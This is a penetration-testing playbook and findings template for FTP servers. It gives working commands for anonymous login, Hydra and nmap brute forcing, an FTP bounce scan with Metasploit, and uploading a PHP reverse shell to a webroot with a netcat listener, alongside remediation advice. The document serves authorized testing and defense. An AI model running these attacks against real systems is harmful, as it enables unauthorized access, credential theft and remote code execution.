FTP Penetration Test

Target / Scope: `x.x.x.x` (FTP service)

Service: FTP (File Transfer Protocol) — Default TCP port **21**

Date: 2025-10-25

---

1. Executive Summary

This report provides a practical, step-by-step penetration testing playbook and findings template for assessing FTP services. It explains reconnaissance, enumeration, common attack vectors (anonymous access, credential stuffing, brute-force, bounce attack), exploitation techniques, post-exploitation actions, evidence collection, and remediation. The goal is to provide a repeatable methodology pentesters can use to safely assess FTP servers and to help defenders remediate vulnerabilities.

Key takeaways:

- FTP commonly exposes sensitive files if anonymous access is allowed or credentials are weak.
- FTP bounce is an obscure but real risk on misconfigured servers that accept the `PORT` command without restrictions.
- Uploading a web-accessible reverse PHP shell through FTP is a common post-exploitation path when FTP and web roots overlap.

---

2. Rules of Engagement & Legal

- **Authorization:** Only test systems with written permission. Include scope (IP ranges, domains), allowed techniques, time windows, and excluded targets.
- **Data handling:** Label and protect sensitive data. Avoid destructive commands unless explicitly authorized.
- **Reporting:** Provide evidence, proof-of-concept details, and remediation guidance. Do not publish PII or secrets.

Recommended pre-test checklist:

- Signed authorization form covering: active IPs, time windows, allowed exploits, contact for emergency stop.
- Tester's contact information and emergency callback.

---

3. Reconnaissance

3.1 Service Discovery

Use standard port scans to confirm FTP service availability and version.

```
# Basic port check
nmap -p 21 X.X.X.X

# Service/version detection
nmap -sV -p 21 X.X.X.X
```

3.2 Banner Grabbing

Banner grabbing can reveal server software (vsftpd, ProFTPD, Pure-FTPd) and version-specific vulnerabilities.

```
# Netcat banner grab
nc -nv X.X.X.X 21
```

3.3 FTP Features

Enumerate features with nmap NSE script which queries FEAT.

```
nmap -p 21 --script ftp-features X.X.X.X
```

---

4. Enumeration

4.1 Anonymous Access

Test anonymous login — many FTP servers allow this and may expose sensitive files.

```
ftp X.X.X.X
# username: anonymous
# password: any (email often used)
```

Automated download of all publicly available files:

```
wget -m ftp://anonymous:anonymous@X.X.X.X
```

4.2 Directory Discovery

Use directory wordlists against FTP using gobuster/dirb if the FTP server supports HTTP-style listing via URL or if `ftp://` access is supported.

```
# gobuster (FTP mode)
gobuster dir -u ftp://X.X.X.X -w /path/to/wordlist.txt
```

Also manually `ls` and `cd` around after login.

4.3 Feature & Capability Enumeration

Look for commands/features that enable exploits: `STOR`, `RETR`, `PORT`, `PASV`, `MLST`, `SITE EXEC`, `SITE CHMOD`, symbolic link handling, and whether server allows uploads to webroot.

Use `ftp-features` (above) and manual session commands.

4.4 Credentials & Weak Passwords

Try common credentials before brute force: `admin`, `root`, `ftpuser`, `test`.

```
ftp X.X.X.X
# username: admin
# password: admin
```

5. Attack Vectors

5.1 Anonymous Authentication (Low effort, high reward)

If anonymous login works, enumerate files, scripts, backups, and credentials. Download anything suspicious.

5.2 Credential Stuffing & Brute Force

Use Hydra or nmap NSE for brute forcing. Respect lockout policies and get authorization.

```
# hydra example (dictionary attack)
hydra -l admin -P /path/to/passwords.txt ftp://X.X.X.X

# nmap brute force script
nmap -p 21 --script ftp-brute X.X.X.X
```

Notes:

- Use `f` in Hydra to quit on success.
- Take care to not trip WAF/IDS—pace attempts.

5.3 FTP Bounce Attack (Pivot/Proxying)

If the FTP server allows the `PORT` command to arbitrary addresses, it can be used to bounce traffic and scan other hosts.

Manual sequence:

```
ftp X.X.X.X
# quote PORT <target-IP-octets>,<port>
# get <filename>
```

Nmap bounce scan:

```
nmap -b <ftp_server>:21 <target_network>
```

Metasploit module:

```
use auxiliary/scanner/ftp/ftp_bounce
set RHOSTS <FTP_server>
set RPORT 21
run
```

Impact: can be used to obscure scan origin or reach internal systems. Many modern FTP servers block this.

5.4 Upload & Web Shell (Post-Exploitation)

If the FTP server maps to a webroot or allowed directories are served by a web server, uploading a webshell (e.g., `php-reverse-shell.php`) can provide RCE via HTTP.

Steps:

1. Craft or download payload (e.g., pentestmonkey PHP reverse shell).
2. Configure callback IP/port in file.
3. Upload via FTP `put shell.php`.
4. Trigger via HTTP: `http://target.com/path/shell.php`.
5. Listener: `nc -lvnp <port>`.

Commands:

```
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php
# edit $ip and $port in shell.php
ftp X.X.X.X
# put shell.php
# On attacker machine:
nc -lvnp 1234
# Trigger in browser: http://target.com/path/shell.php
```

Mitigation: keep webroot and upload directories separated; disable execution in upload directories; use SFTP/FTPS.

---

6. Post-Exploitation

If you obtain file access or a shell:

- **Enumerate** filesystem, credentials, config files (`/etc/` equivalents for FTP service configs), backup files, `.env`, `wp-config.php`, database dumps, SSH keys.
- **Privilege escalation:** search for SUID binaries, sudo misconfigurations, weak crontab tasks.
- **Lateral movement:** explore other hosts available from the compromised host.

Useful post-exploitation FTP commands:

```
lcd /local/path
cd /remote/path
ls
get filename
mget *.log
put localfile
mput *.txt
bin   # binary mode
ascii # ascii mode
quit
```

---

7. Evidence & Reporting Templates

7.1 Finding Template (Example)

- **Title:** Anonymous FTP allowed — Sensitive files exposed
- **Severity:** High
- **Affected Host:** `X.X.X.X:21`
- **Finding:** FTP server allows anonymous login and exposes backup/config files in `/backups/`.
- **Proof / Evidence:** `ftp listing` output, paths and filenames, MD5 of downloaded files, timestamps.

- **Impact:** Exposure of credentials, internal host configuration, potential for web shell upload.
- **Recommendation:** Disable anonymous login; restrict directory listings; enforce authentication; move sensitive files off FTP and use SFTP/FTPS.

7.2 Command Evidence Snippet

Include exact commands used, with timestamps, and sanitized output where necessary. Example:

```
# 2025-10-25 10:12:03
$ nc -nv X.X.X.X 21
Connected to X.X.X.X:21
220 (vsFTPd 3.0.3)
```

---

8. Risk Assessment & Severity Guidance

Use this table as a guideline (adjust for client context):

- **Critical:** Uploadable webroot + anonymous write + webserver executes uploaded code (RCE).
- **High:** Anonymous read of sensitive backups, credentials, or database dumps.
- **Medium:** FTP supports `PORT` allowing bounce; outdated version with known CVEs but no immediate sensitive files.
- **Low:** Banner disclosure only, no authentication or files exposed.

---

9. Remediation Recommendations

Short-term / Immediate:

- Disable anonymous login if not required.
- Restrict file permissions and directory listings.
- Separate FTP upload directories from webroot or disable execution in upload directories (e.g., with webserver config `Options -ExecCGI` / `php_admin_flag engine off`).

- Enforce strong passwords and account lockout policies.
- Monitor for unusual FTP activity and enable logging.

Long-term / Strategic:

- Migrate to secure alternatives (SFTP/FTPS with enforced TLS).
- Regularly patch FTP server software.
- Implement network segmentation—FTP servers should not be able to connect freely to internal IP ranges.
- Disable the `PORT` command or restrict passive/active modes by firewalling outbound connections from FTP server.

---

10. Tools & Command Summary (Quick Reference)

Connectivity & manual:

```
ftp X.X.X.X [port]
lftp X.X.X.X
nc -nv X.X.X.X 21
```

Discovery & enumeration:

```
nmap -p 21 X.X.X.X
nmap -sV -p 21 --script ftp-features X.X.X.X
nmap -p 21 --script ftp-brute X.X.X.X
```

Brute force:

```
hydra -l admin -P /path/to/passwords.txt ftp://X.X.X.X
```

Directory brute-forcing:

```
gobuster dir -u ftp://X.X.X.X -w /path/to/wordlist.txt
```

Bounce scan:

```
nmap -b <ftp_server>:21 <target_network>
```

Metasploit (bounce):

```
use auxiliary/scanner/ftp/ftp_bounce
set RHOSTS <FTP_server>
set RPORT 21
run
```

Download all available files:

```
wget -m ftp://anonymous:anonymous@X.X.X.X
```

Upload webshell (if authorized & safe to demonstrate):

```
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php
# edit shell.php to set callback
ftp X.X.X.X
# put shell.php
nc -lvnp 1234  # listener
# trigger via HTTP
```

---

11. Practical Testing Checklist

1. Confirm scope & authorization.
2. Port scan for FTP and version detection.
3. Banner grab & ftp-features.
4. Test anonymous login.
5. Enumerate directories, files, and feature set.
6. Test common credentials.
7. If safe and authorized, perform controlled brute-force with limits.

8. Test for PORT bounce behavior in a controlled manner.
9. If allowed, attempt upload to webroot and trigger webshell (use test payloads first).
10. Collect evidence, logs, and timestamps.
11. Provide remediation and re-test after fixes.

---

12. Appendix: Sample Reporting Snippets

Sample remediation note:

> Disable anonymous FTP and enforce FTPS (FTP over TLS). Configure upload directories outside of webroot or disable script execution in upload directories. Implement strict file permissions and monitoring on FTP services.

Sample quick finding (concise for executive summary):

> Anonymous FTP access was permitted on X.X.X.X:21 allowing download of backup and config files. This exposure could lead to credential disclosure and server compromise. Recommended immediate action: disable anonymous access and remove sensitive files from FTP.
